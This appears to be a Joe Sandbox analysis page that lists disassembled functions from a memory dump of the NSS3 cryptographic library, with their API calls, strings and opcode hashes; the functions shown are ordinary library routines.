Opcode ID: 013b99308f3d1236d37a7c1ed59d5fc8504ef2d2b52af1267f01739dcddf2dd6
Instruction ID: 3dbbad5e96acc43b61dbe90ef1d0001669375527c2168da079174c2436afa44e
Opcode Fuzzy Hash: 013b99308f3d1236d37a7c1ed59d5fc8504ef2d2b52af1267f01739dcddf2dd6
Instruction Fuzzy Hash: 875105B1A083018BEB108F2DDC417AB77E4AF4130EF114529E919ABF95E7F2D4148B6E

Function 6C6E2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6E2D9F

Part of subcall function 6C59CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5FF9C9,?,6C5FF4DA,6C5FF9C9,?,?,6C5C369A), ref: 6C59CA7A
Part of subcall function 6C59CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C59CB26

sqlite3_exec.NSS3(?,?,6C6E2F70,?,?), ref: 6C6E2DF9
sqlite3_free.NSS3(00000000), ref: 6C6E2E2C
sqlite3_free.NSS3(?), ref: 6C6E2E3A
sqlite3_free.NSS3(?), ref: 6C6E2E52
sqlite3_mprintf.NSS3(6C74AAF9,?), ref: 6C6E2E62
sqlite3_free.NSS3(?), ref: 6C6E2E70
sqlite3_free.NSS3(?), ref: 6C6E2E89
sqlite3_free.NSS3(?), ref: 6C6E2EBB
sqlite3_free.NSS3(?), ref: 6C6E2ECB
sqlite3_free.NSS3(00000000), ref: 6C6E2F3E
sqlite3_free.NSS3(?), ref: 6C6E2F4C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: d8c753a4b94fe2a1824374baef2a1f97a6367274af0effa6ce43f4aa64b14b58
Instruction ID: b5cd151036e6998cd175456e55ab8cf17dfdae06a0cd1f714d388be7518913b2
Opcode Fuzzy Hash: d8c753a4b94fe2a1824374baef2a1f97a6367274af0effa6ce43f4aa64b14b58
Instruction Fuzzy Hash: 7C616DB5E062168BEB00CFA8D885B9EB7F2AF89348F144029DD55A7701E731EC45CBA5

Function 6C594C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594D97
PR_Lock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DBA
PR_WaitCondVar.NSS3 ref: 6C594DD4
PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594DEF

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: c977db9e04d7aab3a6408de3c43f2eda0e9db92a5aef1bf07d877b8aa701737a
Instruction ID: 890617f30b3b2e6c34b242e9041ea13ff9f43a23449e5051960b6d9a5a3daf80
Opcode Fuzzy Hash: c977db9e04d7aab3a6408de3c43f2eda0e9db92a5aef1bf07d877b8aa701737a
Instruction Fuzzy Hash: A1418BB5A04764CFCB01AF78C898169BBB4BF06318F054AB9D898DB710EB30D894CB95

Function 6C638F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C638FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C63905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C639073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6390EC

Part of subcall function 6C600F00: PR_GetPageSize.NSS3(6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F1B
Part of subcall function 6C600F00: PR_NewLogModule.NSS3(clock,6C600936,FFFFE8AE,?,6C5916B7,00000000,?,6C600936,00000000,?,6C59204A), ref: 6C600F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C62DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C639111

Strings

nrl, xrefs: 6C6390A3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nrl
API String ID: 2831689957-4163017231
Opcode ID: 4a1ace74f07da549063a431a66c917fc03948dc7ba30777de3b6d80157890703
Instruction ID: 9ff5643c79a09536275931d38af456dd2bf3b6c21109bc647f6bd25698557586
Opcode Fuzzy Hash: 4a1ace74f07da549063a431a66c917fc03948dc7ba30777de3b6d80157890703
Instruction Fuzzy Hash: CC517B70A042258FDF00AF38C4882A9BBF0BF4A318F056579DC489B715EB34E884CF99

Function 6C61E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C61E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6C61E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6C61E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C61E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6C61E9CA
PORT_Strdup_Util.NSS3(6C75933E), ref: 6C61EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6C61EA28

Part of subcall function 6C670BE0: malloc.MOZGLUE(6C668D2D,?,00000000,?), ref: 6C670BF8
Part of subcall function 6C670BE0: TlsGetValue.KERNEL32(6C668D2D,?,00000000,?), ref: 6C670C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C61EA3C
free.MOZGLUE(?), ref: 6C61EA69

Strings

http://, xrefs: 6C61E935

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 7bca0f9369332f2b0d773c17a5103f98e21f5fdee98d90151c718cff622fb2f4
Instruction ID: 61e194f88890fec4cf9dc9d134d54e35553a2ae7bc678058cc2c4221e8b32e39
Opcode Fuzzy Hash: 7bca0f9369332f2b0d773c17a5103f98e21f5fdee98d90151c718cff622fb2f4
Instruction Fuzzy Hash: C5418B7494C64A4BEF604A7C8C487EE7BA5AB1730EF140421ECA097F41E212D646C3EE

Function 6C634E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C634E90
EnterCriticalSection.KERNEL32 ref: 6C634EA9
TlsGetValue.KERNEL32 ref: 6C634EC6
EnterCriticalSection.KERNEL32 ref: 6C634EDF
PL_HashTableLookup.NSS3 ref: 6C634EF8
PR_Unlock.NSS3 ref: 6C634F05
PR_Now.NSS3 ref: 6C634F13
PR_Unlock.NSS3 ref: 6C634F3A

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Strings

bUcl, xrefs: 6C634E5C
bUcl, xrefs: 6C634F3F

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUcl$bUcl
API String ID: 326028414-2315228791
Opcode ID: f571909751909e21285da874c5418cadf110d7fb5828a3bbf03b91ec0737c8b3
Instruction ID: 882a10f04f85d0814c2907d88ae8ee70f9beda6dd35fd79a526184a401b80365
Opcode Fuzzy Hash: f571909751909e21285da874c5418cadf110d7fb5828a3bbf03b91ec0737c8b3
Instruction Fuzzy Hash: DB415BB4A006159FCB00EF79C4848AAFBF0FF8A304B158569EC899B710EB30E855CF95

Function 6C646C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C646C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C646C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C646CA3

Part of subcall function 6C72D930: PL_strncpyz.NSS3(?,?,?), ref: 6C72D963

PR_LogPrint.NSS3(?,00000000), ref: 6C646CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C646CD5

Strings

nrl, xrefs: 6C646CF4, 6C646D1F
C_DigestInit, xrefs: 6C646C61
pMechanism = 0x%p, xrefs: 6C646CD0
hSession = 0x%x, xrefs: 6C646C7E, 6C646C8E
(CK_INVALID_HANDLE), xrefs: 6C646C9C

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nrl
API String ID: 1003633598-1713465473
Opcode ID: d51eff88dcea62c849aa6e90317ae63ecf74e38c2018ee1f29bcca01e24c0805
Instruction ID: 79107d1aec84b2874c2d35f224e44a15cab3e3c02cf388e4c94e50072255e614
Opcode Fuzzy Hash: d51eff88dcea62c849aa6e90317ae63ecf74e38c2018ee1f29bcca01e24c0805
Instruction Fuzzy Hash: 6921C131701128DBDB019B559E8DB9A3BB5EB47318F04C035E90997A12DF349908CBBA

Function 6C65ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C65DE64), ref: 6C65ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65ED22

Part of subcall function 6C66B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7418D0,?), ref: 6C66B095

PL_FreeArenaPool.NSS3(?), ref: 6C65ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C65ED6B
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C65ED38

Part of subcall function 6C594C70: TlsGetValue.KERNEL32(?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594C97
Part of subcall function 6C594C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CB0
Part of subcall function 6C594C70: PR_Unlock.NSS3(?,?,?,?,?,6C593921,6C7714E4,6C6DCC70), ref: 6C594CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C65ED52
PR_CallOnce.NSS3(6C772AA4,6C6712D0), ref: 6C65ED83
PL_FreeArenaPool.NSS3(?), ref: 6C65ED95
PL_FinishArenaPool.NSS3(?), ref: 6C65ED9D

Part of subcall function 6C6764F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C67127C,00000000,00000000,00000000), ref: 6C67650E

Strings

security, xrefs: 6C65ED06

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7e6b58817734f12287b6368c2835c8259c25df87f822d672beb38bbb63f3ed8d
Instruction ID: f84e13f10f50ad9ffaf66c6c8ef157c686d31b0b9ea040bae706e4dbbb2cfb8e
Opcode Fuzzy Hash: 7e6b58817734f12287b6368c2835c8259c25df87f822d672beb38bbb63f3ed8d
Instruction Fuzzy Hash: 41112B75900218ABDE205625AC44FFB73B8AF4270CF554A35E86462E41F728A62CC6FE

Function 6C720EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C602357), ref: 6C720EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C602357), ref: 6C720EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C720EE6

Part of subcall function 6C7209D0: PR_Now.NSS3 ref: 6C720A22
Part of subcall function 6C7209D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C720A35
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C720A66
Part of subcall function 6C7209D0: PR_GetCurrentThread.NSS3 ref: 6C720A70
Part of subcall function 6C7209D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C720A9D
Part of subcall function 6C7209D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C720AC8
Part of subcall function 6C7209D0: PR_vsmprintf.NSS3(?,?), ref: 6C720AE8
Part of subcall function 6C7209D0: EnterCriticalSection.KERNEL32(?), ref: 6C720B19
Part of subcall function 6C7209D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C720B48
Part of subcall function 6C7209D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C720C76
Part of subcall function 6C7209D0: PR_LogFlush.NSS3 ref: 6C720C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C720EFA

Part of subcall function 6C60AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C60AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C720F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C720ED9, 6C720EE5, 6C720F06, 6C720F0B
Aborting, xrefs: 6C720EB3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 7140e87e1a671b3d10fbe62b1567b115037fe1cc7816d20dff3bbc3a84b77827
Instruction ID: 0363484e0603af1e83fd3dc73e80508d40b99078bab4b51649526e1da542bd89
Opcode Fuzzy Hash: 7140e87e1a671b3d10fbe62b1567b115037fe1cc7816d20dff3bbc3a84b77827
Instruction Fuzzy Hash: 90F0AFB5A002147BDF007BA1DD4ECAB3E2DDF82365F044034FD0956602EB36ED249AB2

Function 6C684DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C684DCB

Part of subcall function 6C670FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6187ED,00000800,6C60EF74,00000000), ref: 6C671000
Part of subcall function 6C670FF0: PR_NewLock.NSS3(?,00000800,6C60EF74,00000000), ref: 6C671016
Part of subcall function 6C670FF0: PL_InitArenaPool.NSS3(00000000,security,6C6187ED,00000008,?,00000800,6C60EF74,00000000), ref: 6C67102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C684DE1

Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C6710F3
Part of subcall function 6C6710C0: EnterCriticalSection.KERNEL32(?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67110C
Part of subcall function 6C6710C0: PL_ArenaAllocate.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671141
Part of subcall function 6C6710C0: PR_Unlock.NSS3(?,?,?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C671182
Part of subcall function 6C6710C0: TlsGetValue.KERNEL32(?,6C618802,00000000,00000008,?,6C60EF74,00000000), ref: 6C67119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C684DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C684E59

Part of subcall function 6C66FAB0: free.MOZGLUE(?,-00000001,?,?,6C60F673,00000000,00000000), ref: 6C66FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C74300C,00000000), ref: 6C684EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C684EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C684F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68521A

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: a4402cf205d740eca05c6ee2f6239ed58320c4d950f5fe0766e066b92469392c
Instruction ID: 6b25dc4a3d24620a747b532d5ea00d759d2d84d6f241e62b713a6303a7e59a95
Opcode Fuzzy Hash: a4402cf205d740eca05c6ee2f6239ed58320c4d950f5fe0766e066b92469392c
Instruction Fuzzy Hash: 02F1BF71E02209CBEB04CF54D8507ADB7B2FF85358F258129D915AB780EB75E981CFA4

Function 6C614FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C760148,?,6C626FEC), ref: 6C61502A
PR_NewLock.NSS3(00000001,00000000,6C760148,?,6C626FEC), ref: 6C615034
PL_NewHashTable.NSS3(00000000,6C66FE80,6C66FD30,6C6BC350,00000000,00000000,00000001,00000000,6C760148,?,6C626FEC), ref: 6C615055
PL_NewHashTable.NSS3(00000000,6C66FE80,6C66FD30,6C6BC350,00000000,00000000,?,00000001,00000000,6C760148,?,6C626FEC), ref: 6C61506D

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: dc6ff7b1710bb858d859ac040a1cccc370f4dd5425c90659e0b88da8b06363b1
Instruction ID: 8c72e62b2d6f84c6a4da3d287dcb32c72fd38aa7ad2741cb133ad98959589019
Opcode Fuzzy Hash: dc6ff7b1710bb858d859ac040a1cccc370f4dd5425c90659e0b88da8b06363b1
Instruction Fuzzy Hash: EB31C471A06224DBEE229A698C4CB577778FB5379EF214135EA2583E40D3749804CBF5

Function 6C5B2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5B2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5B3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B3131
